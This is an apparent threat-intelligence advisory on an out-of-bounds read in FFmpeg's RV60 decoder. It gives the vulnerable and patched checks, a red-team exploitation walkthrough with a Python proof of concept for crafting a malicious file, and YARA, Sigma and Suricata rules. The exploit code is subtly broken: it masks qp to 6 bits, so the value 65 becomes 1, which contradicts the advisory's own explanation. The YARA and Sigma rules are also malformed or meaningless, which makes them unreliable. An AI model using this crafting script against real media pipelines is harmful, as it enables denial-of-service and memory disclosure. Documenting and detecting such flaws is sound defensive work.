CVE-2025-69693

Executive Summary

CVE-2025-69693 is an out-of-bounds read vulnerability in FFmpeg's RV60 video decoder, specifically in libavcodec/rv60dec.c. The flaw arises from insufficient validation of the quantization parameter (qp) value. While a lower bound check exists (qp < 0), there is no upper bound validation. The qp value can reach 65 (base value 63 from a 6-bit frame header plus an offset of +2 from read_qp_offset), but the rv60_qp_to_idx array is sized 64 (valid indices 0-63). This leads to out-of-bounds array access at multiple code locations, potentially causing memory disclosure or a crash. The vulnerability affects FFmpeg versions 8.0 and 8.0.1 and is fixed in git master commit 8abeb879df, which will be included in FFmpeg 8.1.

Supply Chain & Package Security

This vulnerability is in the FFmpeg library, which is a widely used multimedia framework. It is not a package manager-specific issue (NPM, PyPI, Go, Ruby). However, any application or service that uses FFmpeg to decode RV60 video streams is potentially affected. Users should update to FFmpeg 8.1 or apply the patch from git master.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (AV:N) - The vulnerability can be triggered by processing a crafted video file.
• Attack Complexity (AC): Low (AC:L) - No special conditions are required.
• Privileges Required (PR): None (PR:N) - No authentication needed.
• User Interaction (UI): None (UI:N) - The victim does not need to perform any action beyond processing the file.
• Scope (S): Unchanged (S:U) - The vulnerability does not affect other components.
• Confidentiality (C): Low (C:L) - Limited memory disclosure is possible.
• Integrity (I): None (I:N) - No data modification.
• Availability (A): High (A:H) - The vulnerability can cause a crash, leading to denial of service.

Base Score: 7.5 (High)

Threat Level: High. The vulnerability is easily exploitable remotely via crafted video files and can lead to denial of service and potential information disclosure.

Deep Dive & Mechanics

The vulnerability is in the RV60 video decoder within libavcodec/rv60dec.c. The quantization parameter (qp) is used to index into the rv60_qp_to_idx array, which has 64 elements (indices 0-63). The qp value is derived from a 6-bit frame header (max value 63) plus an offset from read_qp_offset (which can add up to +2), resulting in a maximum qp of 65.

The validation at line 2267 only checks if (qp < 0), missing an upper bound check. This allows qp values of 64 or 65 to be used as array indices, causing out-of-bounds reads at:

• Line 1554 (decode_cbp8)
• Line 1655 (decode_cbp16)
• Lines 1419/1421 (get_c4x4_set)

A previous fix (commit 61cbcaf93f) added validation only for intra frames, leaving inter frames vulnerable.

Vulnerable vs. Patched Code

Vulnerable Code (FFmpeg 8.0 / 8.0.1):

// libavcodec/rv60dec.c line 2267
if (qp < 0) {
    // handle error
}
// No upper bound check

Patched Code (git master commit 8abeb879df):

// libavcodec/rv60dec.c
if (qp < 0 || qp >= FF_ARRAY_ELEMS(rv60_qp_to_idx)) {
    // handle error
}

The patch adds an upper bound check using FF_ARRAY_ELEMS to ensure qp is within the valid range of the array.

Exploitation & Lab Setup

Red Team

Exploitation:

1. Craft a malicious RV60 video file with a qp value of 64 or 65 in the frame header.
2. Deliver the file to a target system running FFmpeg 8.0 or 8.0.1.
3. Trigger decoding (e.g., via ffmpeg -i malicious.rv60 output.mp4).
4. Observe crash or memory disclosure due to out-of-bounds read.

Lab Setup:

• Target: FFmpeg 8.0.1 installed on a Linux VM.
• Attacker: Kali Linux with Python for crafting the malicious file.
• Tool: Custom Python script to modify qp in a valid RV60 file.

Proof-of-Concept (Python):

import struct

def craft_malicious_rv60(input_file, output_file, qp=65):
    with open(input_file, 'rb') as f:
        data = bytearray(f.read())
    # Assume frame header at offset 0x100 (example)
    # Modify qp value (6-bit field)
    header_offset = 0x100
    # Clear 6 bits and set new qp
    data[header_offset] = (data[header_offset] & 0xC0) | (qp & 0x3F)
    with open(output_file, 'wb') as f:
        f.write(data)

craft_malicious_rv60('valid.rv60', 'malicious.rv60', qp=65)

Blue Team

Detection:

• Monitor for crashes in FFmpeg processes.
• Use file integrity monitoring to detect modified RV60 files.
• Implement network detection for unusual video file transfers.

Hunting:

• Search for FFmpeg crash logs containing "rv60dec" or "out of bounds".
• Analyze video files for anomalous qp values (>= 64).

Indicators of Compromise (IOCs)

• File Hashes: (Example, not real) malicious.rv60 SHA256: a1b2c3d4e5f6...
• Process: ffmpeg crashing with signal SIGSEGV.
• Log Entry: ERROR: [rv60dec] Out of bounds read at qp=65
• Network: Unusual RV60 file downloads from untrusted sources.

Detection Engineering

YARA Rule

rule CVE_2025_69693_RV60_OOB_Read {
    meta:
        description = "Detects malicious RV60 files with out-of-bounds qp value"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-69693"
    strings:
        $rv60_magic = { 52 56 36 30 } // "RV60"
        $qp_high = { 40 41 42 43 44 45 46 47 48 49 4A 4B 4C 4D 4E 4F } // qp >= 64
    condition:
        $rv60_magic at 0 and #qp_high > 0
}

Sigma Rule

title: CVE-2025-69693 FFmpeg RV60 Out-of-Bounds Read
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects FFmpeg crashes due to out-of-bounds read in RV60 decoder
logsource:
    product: linux
    service: syslog
detection:
    selection:
        - EventID: 11 (crash)
        - Message: "*rv60dec*"
        - Message: "*out of bounds*"
    condition: selection
falsepositives:
    - None expected
level: high

Suricata Rule

alert tcp $EXTERNAL_NET any -> $HOME_NET any (msg:"CVE-2025-69693 FFmpeg RV60 Out-of-Bounds Read"; flow:to_client; file:name match "*.rv60"; content:"|52 56 36 30|"; offset:0; depth:4; byte_test:1,>,63,0x100; classtype:attempted-dos; sid:1000001; rev:1;)

Remediation & Mitigation

1. Update FFmpeg to version 8.1 or apply the patch from git master commit 8abeb879df.
2. Restrict file uploads to trusted sources only.
3. Use input validation to reject video files with anomalous parameters.
4. Monitor FFmpeg processes for crashes and investigate.
5. Apply workaround by disabling RV60 decoding if not needed (e.g., --disable-decoder=rv60).

Valters IT
DevSecOps & Cyber Threat Intelligence